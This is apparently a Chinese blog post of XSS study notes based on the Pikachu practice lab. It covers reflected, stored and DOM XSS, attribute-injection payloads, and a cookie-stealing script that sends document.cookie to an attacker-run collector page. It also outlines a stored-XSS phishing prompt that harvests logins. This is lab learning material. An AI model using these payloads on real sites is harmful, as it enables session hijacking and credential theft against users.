• XSS跨站脚本攻击学习笔记(pikachu)


    颓废了几天,该好好努力了。

    XSS概述

     

    XSS漏洞是web漏洞中危害较大的漏洞,是一种发生在web前端的漏洞,所以危害的对象也主要是前端用户,XSS可以用来进行钓鱼攻击,前端js挖矿,获取用户cookie。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等。

     

    XSS漏洞的常见类型

     

    1.反射型,交互的数据一般不会存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等。

    2.存储型交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册等页面。

    3.DOM型不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,也属于反射型。

     

    XSS漏洞形成的原因

     

    形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致”精心构造”的脚本输入后,再输到前端时被浏览器当作有效代码解析执行从而产生危害

     

    XSS漏洞测试流程

     

    1, 在目标站点上找到输入点,比如查询接口,留言板等

    2, 输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理

    3, 通过搜索定位到唯一字符,结合唯一字符前后的语法确认是否可以构造执行js的条件(构造闭合)

    4, 提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明纯在XSS漏洞

     

    Tips:

    1. 一般查询接口容易出现反射型XSS,留言板容易出现存储型XSS
    2. 由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器);
    3. 通过变化不同的script,尝试绕过后台过滤机制

     

    下面开始靶场的练习

     

    反射型XSS(get)

     

    按照我们的测试流程,先输入一些可能会被过滤的字符和唯一字符

     

     

     

     

     

    我们查看一下源代码

     

     

     

    通过查找发现我们的唯一字符

     

    发现没有任何的过滤,那么我们就可以构造一个xss的弹窗(不仅限于弹窗,这里只是做演示)

     

    <script>alert('xss')</script>

     

     

     

    发现前端限制了我们的输入长度

     

    我们可以在开发者工具中进行修改

     

     

     

    这样我们就可以插入我们的payload了

     

     

     

    存储型XSS

     

     

    一般都是在留言板内,把内容保存在数据库,这样每次访问这个页面就会触发xss

     

    这个不多说,和反射型就这个区别

     

    DOM型XSS

     

     

     

     

    定义一个str来接收id为text的值

     

    然后再把str写进a标签里面给了id为dom的div

     

    这样我们可以构造把a标签添加属性的xss

     

    ' onclick = "alert('xss')">

     

    给a标签一个单击的属性,里面写入xss代码

     

    dom型xss-x

     

    其实也是一样的

     

     

     

    window.location.search获取url?后面的部分

     

    然后进行url解码

     

    获取text后面的内容

     

    然后再发送给让往事都随风吧

     

    ' onclick = "alert('xss')">

     

    当我们点击这句话的时候也一样会触发我们的xss代码

     

    get型XSS获取cookie

     

    pikachu有自带的XSS测试平台

     

     

     

     

     

     

    配置登陆以后

     

    进入cookie收集

     

    目前当我们还没有进行测试的时候,是为空的,

     

    当我们构造一个xss代码

     

    <script>document.location = ‘http://10.2.10.35/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

     

    跳转到我们接收cookie的页面,并且把cookie带入,构成一个完整的get请求

     

    查看cookie.php文件,

     

     

     

    这里改成你想要跳转的页面,伪造出你这个页面没问题

     

    之后我们就可以把构造好的页面发送给别人

     

    让别人点击以后查看效果

     

     

    反射型xss(post)

     

    我个人的理解是,在被攻击的用户打开某个存在xss漏洞的页面的时候,在已经登陆的状态下又点开了攻击者发来的链接,链接给存在xss漏洞的页面提交了post请求,JS获取到了cookie然后返回到攻击者的接口

     

    首先先看靶场

     

     

    通过提示我们知道账号密码是admin/123456

     

    XSS钓鱼攻击(存储型XSS)

     

    当打开我们带有钓鱼xss的网页时,会弹出一个进行身份验证的窗口,让你输入账号密码,账号密码就会发往我们的XSS后台

     

     

  • 相关阅读:
    官场22条潜规则,职场谁说不是呢
    pomelo使用中的常见问题
    马斯诺需求金字塔
    Mac上使用brew安装nvm来支持多版本的Nodejs
    Redis 集群解决方案 Codis
    Linux下压缩某个文件夹(文件夹打包)
    使用forever运行nodejs应用
    nodejs npm常用命令
    Mac安装Brew
    C#2.0 迭代器
  • 原文地址:https://www.cnblogs.com/qxxaq/p/11625975.html
Copyright © 2020-2023  润新知